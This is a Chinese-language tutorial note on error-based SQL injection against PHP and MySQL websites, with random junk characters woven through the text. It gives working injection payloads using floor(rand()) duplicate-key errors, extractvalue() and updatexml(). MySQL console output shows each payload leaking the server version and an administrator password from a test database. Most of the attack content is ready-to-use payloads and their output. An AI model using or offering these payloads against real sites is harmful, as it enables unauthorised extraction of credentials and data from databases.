放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。8 C5 d; U8 O' X w3 w( K
实际测试环境:& F7 p! I: T4 A. |8 L7 f4 m
) r3 _( U8 q4 h5 B4 y8 _- K # g4 F# r& ~# B+ \" D
mysql> show tables;
4 ~1 t/ d6 Q" J k6 e* @+----------------+
" F! Z3 \* j+ ^. F$ Z8 F| Tables_in_test |, P' }7 U$ N2 s, m4 `9 B W
+----------------+
# V5 Z: c4 B" X, Q6 P2 y| admin |
1 |5 ^& M* f. a+ U- s| article |* t" @$ {$ M( u8 |
+----------------+
% @7 m, \4 i6 H5 e, ?
+ P3 Y/ S; a7 d3 u. S+ _ * _' N$ Z4 _$ N0 F* p
( C8 \5 ~' E3 Q4 V# n H' `6 Dmysql> describe admin;
- Z8 \8 G' i5 o1 R. X+-------+------------------+------+-----+---------+----------------+5 G0 V9 z; Y0 b I; D J4 u
| Field | Type | Null | Key | Default | Extra |
+ e, G6 B# {8 A, i0 d$ a- E& o+-------+------------------+------+-----+---------+----------------+" m H+ u9 j$ X) o/ |& y
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |) M. ]6 w9 u* ]+ _8 T: l
| user | varchar(50) | NO | | NULL | |
4 N2 Q) B# f3 ]& }/ _) v2 k' }| pass | varchar(50) | NO | | NULL | |' G7 Q+ F3 k2 y( F0 C! J( L% J
+-------+------------------+------+-----+---------+----------------+
& O4 D' V2 E- Z: _# u 5 j- t- \/ ~/ Q+ M6 B# [: p
q4 a4 c/ W1 F7 z( x0 \
3 [ e/ e- Y& l/ ^9 r" {mysql> describe article;
+ O0 s: B; q/ X+---------+------------------+------+-----+---------+----------------+4 i& }* T' M8 |# I) k+ y
| Field | Type | Null | Key | Default | Extra |
8 u! u* J3 H& H) N+---------+------------------+------+-----+---------+----------------+% V: Y1 u7 {+ @3 Q! p \3 A
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
8 @0 u3 n8 f" Y| title | varchar(50) | NO | | NULL | |
: I* X7 U0 V: x- g, _| content | varchar(50) | NO | | NULL | |
0 c2 g& i) t+ F9 ~- G+---------+------------------+------+-----+---------+----------------+' t2 ]$ r3 S+ S
1、通过floor报错
' Q" n% J; C9 f% e& Y可以通过如下一些利用代码
8 W% i% | j+ q+ i % K6 V4 n" y4 c# t0 f& c3 ~
* D9 x9 p' P+ |8 }' [( Uand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
/ ~0 {7 Y- H9 ~ R, Rfrom information_schema.tables group by x)a);
0 m. k' ^* R5 K( `
1 ^% ^- ~0 d, S1 G& A 8 e0 v: k% j: e t% d
and (select count(*) from (select 1 union select null union select !1)x, v; x) K3 s- b# U9 n/ q& B. U
group by concat((select table_name from information_schema.tables limit 1),
% r# n( x1 `% Y l7 l9 \( J" Cfloor(rand(0)*2))); u" G2 T" }6 m( _) T! ?
举例如下:
7 M1 o" s2 ^; }; z3 |" p首先进行正常查询:
- a j# Z# A4 I0 d' u( S" h' ` |6 x 8 Z& Q8 U& F( M2 n' d5 p& C [
mysql> select * from article where id = 1;
, M" {) y+ b$ j" M) _+----+-------+---------+6 Z: a" i3 K) k) B) J1 d5 w
| id | title | content |
; [; E0 Z! I9 {# R/ q+----+-------+---------+9 E$ d6 |5 m) K2 k" p; x
| 1 | test | do it |
8 V/ B3 ^- |/ F+----+-------+---------+
; Z3 }- u# M j( z2 z' ]3 c假如id输入存在注入的话,可以通过如下语句进行报错。# K3 v5 I* ?: W3 z! |" q% I' v
# ?5 }7 `; B" T& X8 q
+ n# _& N3 K4 [% C2 u) Fmysql> select * from article where id = 1 and (select 1 from8 P5 z2 c0 z8 V+ L; ]+ h
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
`/ ], d# g+ W* q3 K; ^ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'/ c- }& _) ^) i, t* S8 x0 P5 i9 v
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。. F3 ~3 Q: |' m7 g
例如我们需要查询管理员用户名和密码:% U) }8 C+ q% G# Y4 K0 U
Method1:
* A4 l8 }/ |) C: g: p
5 [, f# v& E" P$ f {1 P) j/ W8 o * u# u6 n) j8 _3 Z; {
mysql> select * from article where id = 1 and (select 1 from5 K* t: @. @) |8 Z* _
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
# k& B( h) }9 I* Y Z, S/ r" H, yfrom information_schema.tables group by x)a);( W( ?# k9 H! D$ _5 d
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'* o4 ~: Y3 }% H: A7 ^ [
Method2:
3 D, A8 @& y' @! F
' H2 H$ I: q: R8 z% |4 s 9 V' ~1 A6 \4 ~" F4 P8 ^
mysql> select * from article where id = 1 and (select count(*)2 V+ Z; V; [ x- V7 g9 D
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),0 P2 n- ~: Y& C* B1 n: F7 V/ S& C5 a
floor(rand(0)*2)));
1 G- f$ i: h' f0 EERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
! P- A3 y# P- R. \+ F: z2、ExtractValue
7 _. t* B$ u: q# Q8 ?/ O测试语句如下( }7 A# _% L% F0 Q' ~* ~& s& v
: O4 j+ j/ q1 }! M% U/ ^ : Z5 n8 u) e _. f( q% x. p
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
$ V9 k4 i+ S/ C, ~( ^# E实际测试过程 s9 s" n `* l: v. A
; b4 k1 q( z* L4 x7 u |4 }! T
( E2 Q1 t' |% M0 L6 n! r) [
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,6 R4 D# g$ N& u3 A, f+ S' F$ V
(select pass from admin limit 1)));--& r$ v G) Z: ~" }3 }
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
9 F: u8 w% v5 }9 y3、UpdateXml% Q2 u' p, a& ~( @/ S# z2 T% ~' E% f
测试语句. M. F8 F, F" s' y
* _1 T9 x$ I Z( q
4 R, r; r% T8 v& B9 p* uand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
, p2 H) j9 o$ b% x# E5 H实际测试过程
: z7 e' x& A+ Z - w) l4 [* x5 o2 d2 G5 q1 x
" `) M" x- H# e+ [8 l+ Q/ o7 {+ `
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
2 J* x$ i# k5 f1 G+ W/ n(select pass from admin limit 1),0x5e24),1));
: q, q2 K3 M" Y- `ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'$ c! N2 _5 k' i
All, thanks foreign guys.
( Z X% ^; l3 R1 P8 i
' |0 f0 Y& m% h0 S, J
% A# n3 r% r6 J |